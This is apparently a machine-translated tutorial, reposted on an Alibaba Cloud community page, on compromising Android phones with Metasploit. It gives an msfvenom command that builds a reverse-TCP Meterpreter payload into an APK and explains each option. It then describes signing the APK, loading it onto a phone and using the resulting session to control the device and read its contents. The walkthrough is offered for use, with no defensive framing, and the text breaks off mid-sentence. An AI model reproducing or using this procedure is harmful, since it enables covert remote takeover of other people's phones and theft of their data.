Attacking Android with Metasploit

Source: Internet
Author: User

First I build an Android app under Kali, that is, the APK format file, the command used is:

Msfvenom-p android/meterpreter/reverse_tcp lhost= Local IP lport= listening port R >/root/rb.apk

Note:-P: Refers to the payload used in this environment, the payload is the successful Android attack after the rebound connection sent to the attacker's terminal;

Lhoost and Lport refer to the local bounce IP address and the local listening port;

-r: Indicates the type of file to be generated;

>/root/rb.apk: Indicates the save path of the generated file;

Then the next step is to configure:

After the attack is successfully configured on the phone, the previous generated apk file is imported into the phone, and then the supply side starts to exploit, you can see the connection status of the reply:

Selecting a connection session and entering the control shell allows you to view the content information and version information:

Note: An error may occur when you import the APK file generated in Kali directly into the phone, because the APK file is not authorized, so we download a signed software to authorize the file, then you can import the "

Attacking Android with Metasploit

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.